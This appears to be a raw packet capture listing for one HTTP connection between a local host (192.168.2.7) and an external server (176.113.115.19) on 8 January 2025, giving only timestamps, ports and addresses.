Jan 8, 2025 09:42:33.475347042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.475361109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.475374937 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.475394964 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.475491047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.475502968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.475514889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.475527048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.475533962 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.475542068 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.475557089 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.475585938 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.512505054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.512516975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.512528896 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.512542009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.512584925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.512620926 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.512624025 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.512635946 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.512649059 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.512667894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.512691021 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513278961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513294935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513325930 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513326883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513339996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513355970 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513361931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513375044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513375998 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513386965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513400078 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513432026 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513446093 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513458014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513468981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513483047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513493061 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513505936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513514996 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513516903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513529062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513535023 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513554096 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513581038 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513583899 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513597965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513608932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513622999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513628006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513641119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513642073 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513662100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513669014 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513674021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513685942 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.513695002 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513710022 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.513736963 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514569044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514594078 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514605999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514617920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514621019 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514628887 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514631987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514659882 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514672041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514686108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514699936 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514708996 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514707088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514723063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514734983 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514738083 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514746904 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514750004 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514769077 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514785051 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514806032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514818907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514832020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514846087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514847994 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514870882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514873981 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514883995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514897108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514899015 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514916897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.514924049 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514950037 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.514972925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515006065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515017033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515028954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515048981 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515053988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515057087 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515067101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515080929 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515094995 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515105009 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515192986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515221119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515232086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515237093 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515256882 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515279055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515283108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515295029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515306950 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515328884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515330076 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515336990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515345097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515358925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515368938 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515383005 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515397072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515439034 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515547037 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515559912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515589952 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515595913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515621901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515635967 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515646935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515659094 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515664101 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515671015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515682936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515687943 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515702009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515712976 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515718937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515732050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515732050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515774012 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515793085 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515805960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515816927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515829086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515830040 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515841961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515856028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515858889 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515877008 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515885115 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515891075 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.515903950 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.515929937 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.550940990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.550956964 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.550968885 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.550981998 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.550995111 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551007986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551054001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551060915 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.551067114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551079988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551094055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551110029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.551112890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551129103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551134109 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.551142931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551157951 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551172018 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.551191092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.551194906 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.551194906 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.551203966 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.551235914 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.561851025 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.561875105 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.561888933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.561901093 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.561913967 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.561927080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.561944008 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.561975956 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.561978102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.561989069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562000990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562019110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562045097 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562128067 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562140942 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562153101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562180042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562192917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562202930 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562206984 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562206984 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562213898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562227011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562238932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562242031 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562252998 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562261105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562289000 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562304974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562319040 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562331915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562346935 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562346935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.562378883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.562397957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.599442959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.599456072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.599468946 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.599481106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.599492073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.599505901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.599509001 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.599519014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.599528074 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.599570990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600723028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600737095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600752115 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600764990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600775957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600784063 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600788116 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600800037 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600814104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600825071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600825071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600825071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600825071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600836039 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600853920 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600860119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600866079 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600867987 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600894928 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600908995 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600935936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600948095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600959063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600970984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600974083 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600984097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.600997925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.600997925 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601026058 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601046085 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601057053 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601069927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601083040 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601094961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601095915 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601130962 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601130962 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601284027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601301908 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601327896 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601361990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601377010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601404905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601417065 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601429939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601443052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601444006 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601480007 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601480007 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601483107 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601494074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601516008 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601526976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601531982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601543903 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601543903 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601546049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601597071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601598024 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601615906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601663113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601686001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601702929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601726055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601742029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601742029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601754904 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601769924 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601769924 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601794958 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601808071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601927996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601958990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601970911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.601979971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601994038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.601999998 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602005959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602016926 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602027893 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602027893 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602034092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602041960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602046967 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602054119 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602067947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602083921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602089882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602096081 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602117062 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602118015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602133036 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602165937 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602494955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602509975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602520943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602533102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602536917 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602545023 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602550030 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602555990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602569103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602574110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602582932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602598906 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602612972 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602638960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602639914 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602649927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602662086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602674961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602679014 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602686882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602699995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602715015 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602715015 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602741957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602751017 CET	80	49703	176.113.115.19	192.168.2.7
